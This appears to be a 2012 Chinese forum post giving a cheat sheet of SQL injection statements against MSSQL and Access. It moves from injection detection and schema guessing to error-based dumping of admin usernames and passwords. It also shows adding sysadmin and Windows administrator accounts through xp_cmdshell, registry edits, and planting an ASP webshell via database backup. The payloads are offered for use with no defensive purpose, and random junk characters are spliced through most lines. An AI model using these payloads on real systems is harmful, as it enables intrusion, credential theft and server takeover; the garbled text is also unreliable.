找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2406|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
( e, @+ b8 s/ {1 Q;and 1=1
; ^8 n2 A8 [4 O& B) g: [+ L;and 1=2
! U) f0 D" T# n# w% c- j# h& U9 E2 b) M0 \& h2 D6 d1 o, l# I$ J# y7 W% s
2.初步判断是否是mssql , j" F1 V9 ~8 Y, N
;and user>0 0 ~) p! T3 y8 r( f, L! |; Z( O! j
+ Y/ I% X/ Q3 \, j
3.判断数据库系统
5 _0 {1 J; q5 I4 s8 q' V;and (select count(*) from sysobjects)>0 mssql ( _$ N4 s! f- g1 L
;and (select count(*) from msysobjects)>0 access
: |1 B5 U, _$ ^& z. k- c' L6 V! Z" R, F' G  k( |
4.注入参数是字符
2 ^4 c' X: z0 B0 W/ V* t) n! z'and [查询条件] and ''=' : d! t" @2 |( g! Q
1 w  N4 c, I2 o; F
5.搜索时没过滤参数的   S! W  P, i7 M' b; H8 ?! t* D
'and [查询条件] and '%25'='
: @+ r) s: d, i5 @5 I+ M( n* n0 S1 H% W) L
6.猜数表名
9 t( k) w) k$ [2 X' t; _;and (select Count(*) from [表名])>0 4 N, Q1 u# f, B' o& c0 S. }% u. [

% L7 c3 F( W& g# Q4 p- h  \. q* H* b7.猜字段
, }3 q3 ^4 g) D$ |. R5 \;and (select Count(字段名) from 表名)>0 + e9 D3 k! L  |- p, T7 |

7 A# O% Z3 Q& t7 b6 b8.猜字段中记录长度
* |& h- u8 K, h7 q;and (select top 1 len(字段名) from 表名)>0
) n# N# O# v1 d  x) u1 G$ v7 y* v9 r9 z4 T1 o% o2 }# j. r6 F' T/ Q8 I
9.(1)猜字段的ascii值(access) ! q# r- V5 h- A5 g& G/ I
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 . R5 b. v" A  e) N& t

6 G) Z* M$ v. G% i/ E9 j(2)猜字段的ascii值(mssql)
. ?2 g; N7 R6 ~9 U6 e) [;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
5 F  ]* j" P8 O& e! U' c5 A+ w: ?) k  i+ z2 X$ F
10.测试权限结构(mssql) / ~4 }+ S" f$ `" v& e3 A; A
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 J8 E$ q& I8 l3 I6 b/ z- M' w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--   T2 K$ m' {1 @- {7 ^- ^# {
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $ C. X& Q6 z; e3 ^  v3 A
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ ^0 J* Z- _- G: D: P1 m
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
: `9 g" s# Y, w& u5 I0 q  b1 V;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3 Z# s$ \! j/ R' ~: G
;and 1=(select IS_MEMBER('db_owner'));-- " @  ]; I% v4 C: n+ j) Q/ `( X+ S
6 ]  J) n, y4 i8 U+ O
11.添加mssql和系统的帐户
9 Y) v! T7 F+ B& u0 \;exec master.dbo.sp_addlogin username;--
4 X2 o$ H8 I5 M" S1 d8 |# B;exec master.dbo.sp_password null,username,password;-- 5 d8 U4 H# i' x. z6 K  j  |
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
. ~. M1 ?- v0 x* |4 |;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
7 Y( |$ J" h/ E6 Y0 f( i6 l7 };exec master.dbo.xp_cmdshell 'net user username password /add';--
4 c1 ~% i4 q4 K8 f! v$ P9 X;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 8 N4 U& S: L1 ?' p4 f1 r
4 v" A$ {3 z8 m! p, U1 ^: b
12.(1)遍历目录 6 W/ p3 G2 R- U; t
;create table dirs(paths varchar(100), id int)
. \. w* ]( n, w8 X+ x( `1 R;insert dirs exec master.dbo.xp_dirtree 'c:\' ' X; I1 ?! E% j. [: q& X
;and (select top 1 paths from dirs)>0   U/ J  z$ Y% P* P
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
1 F+ J4 f8 F" x9 j" ~
( H4 f! {: R( B7 m7 [* l( D- z(2)遍历目录
- y  k. y; h2 f- F;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 5 s' a/ \2 F" u' S7 Y6 r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
. \* B% E; X" d  A;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : s7 S# ?9 z/ {- X. K: x
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 % e( }2 _9 A8 ]5 O( ]. P  G
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 2 S. a( B1 h" y2 j6 ^! H

  y2 H: f; L# z0 E13.mssql中的存储过程
) b& {4 _+ J, k6 Gxp_regenumvalues 注册表根键, 子键 " |0 k6 l4 W$ x1 P
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
' n' X" @  @' _# W, ?xp_regread 根键,子键,键值名 . f% F  E$ V" i6 e, I
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
$ x* K( U0 L( b4 oxp_regwrite 根键,子键, 值名, 值类型, 值 & S9 v, a( G+ @) N
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ! {$ U6 g; s% f! w
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 % t2 r% z# ^1 l: K6 i* d
xp_regdeletevalue 根键,子键,值名 5 z- b1 f9 Q% j
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 7 N# ?8 \* Z; N1 c2 S: a2 U
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
: r. v5 I, h- W% z
9 q2 z0 n8 D2 ~: Z( F14.mssql的backup创建webshell $ P% E: E6 X3 z7 r$ V- d) S
use model
4 z, D) b  @7 p* g% d' |9 I5 E6 }% \7 jcreate table cmd(str image); 4 S+ B' x# ?: V2 q) l- t
insert into cmd(str) values ('<% Dim oScript %>');
* X% Y; N: \) |8 }- z" n4 m8 c! C" Abackup database model to disk='c:\l.asp';
2 v9 c& L2 I: C% @
( Y# j  ^, D( R1 z3 F: a- D; O. \0 A15.mssql内置函数
/ v6 e0 W) L7 A; g& b& b;and (select @@version)>0 获得Windows的版本号
4 V$ ?% ~" E% I3 j: o;and user_name()='dbo' 判断当前系统的连接用户是不是sa
) j/ F% u  D0 ~9 F8 p;and (select user_name())>0 爆当前系统的连接用户
$ o. z! m/ B0 x- Z;and (select db_name())>0 得到当前连接的数据库
0 _1 B/ \0 O& K3 u8 @, \- w* v4 _# ~
, ], W- n5 j. k& V  v
0 c( i1 o8 _8 E# {7 f1 K9 f4 c
MSSQL手注暴库- h+ ^' X  n  V  `& _
9 C% v$ B5 t  R9 F6 [7 }
1.暴出当前表名和列名
2 C- ^$ I, O$ O+ j7 a3 `4 I在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。2 {6 m+ V- ~8 \4 f% ~
8 q, @( R1 Y3 n1 a% u& n: M" F1 m% w4 Y
第一.爆出所有数据库名" t" e$ ]$ T8 _& q- k- ~4 `$ N) l
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。2 u% b* K& f, s5 }& j) q
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。/ {- a; ]2 I$ T$ H- x8 M+ E9 t  S* O
+ ]# E! h& B$ D) P% @( e0 S
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名8 z+ G( b) j' _( h: c) S  W' f

, P1 |' l* u% ~; R( n2 U. `8 u- J
, Y3 n' {9 \4 K% `+ z) ~4 \" @1 p第二.爆出指定库中的所有表名
! A7 Y& k' T; R, h) d2 ~7 [得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
3 K/ K% `* r5 O4 w; B再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。3 e. p) [# W; [& u7 A6 |+ z
5 u5 N/ j! y/ ^- [
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
. E9 j  Z* D. ?; land 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--5 R) w( l$ Z9 ]3 b
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
: ]7 q) f9 q. n8 e
6 h! g. k9 g; ^# I4 v4.爆出指定表中的所有列名
: q4 _5 N* N& o5 a# b8 |2 [9 P; r: Yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 9 z' N: t' e" C# @
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'. U* k7 s  H6 f+ V. _: K

% S: j# N6 n3 ~+ q  hand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
( S2 K/ I4 Z6 x/ g- ^' j
" _. U9 F( e& b, ^( e再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- & m  r" ]; A" O2 @, R
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。* s, S: [+ N; |+ d  L& z
6 U( B7 y8 }6 R; v6 @

, Y4 x) ^6 r1 q6 Wand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
+ [" P+ y: s+ ?7 c( b$ g6 B/ N, G9 W6 i8 C; t6 Q# C; \
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
7 l- r6 s+ J1 D& q! h
2 e$ c3 L: D4 D) z, w$ [) n0 O5 W3 Kand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 5 _& }+ g3 n5 q/ a8 j

" [+ z- V- e& {
6 z/ w$ q1 r3 m& Q" L/ G2 S; y5 Z, z8 Z' ~( |
5.读取指定表中的数据# ?* r, C* e" z0 S3 a1 P9 k6 E+ B
: w4 I# e; }; E! @
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 / n! v: W" ?8 O% e6 y3 t/ x
3 V% B; z3 N, D* I' E# u
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
2 G) J# Y& u2 W7 v: ]3 i9 F4 X0 }6 [' y7 A5 r3 u2 d  [; i5 x7 L8 R
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码# s7 s: R" ~# [9 I0 T" _0 @
' r$ v4 o  D6 k- N

% n4 `4 D/ p7 q. y) ]" t: Iand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
. S# P% q- A9 m$ y
" n- L4 X$ F: \; w2 @and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)0 I7 q1 `" r* C3 j& K
! D3 D- u& p! H0 o' K# k, C
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
8 _3 }3 I6 R6 {9 H# d( z( P* W2 C, k5 |7 M0 k! M
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
5 ^' F/ ~/ Y2 B3 L, z8 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表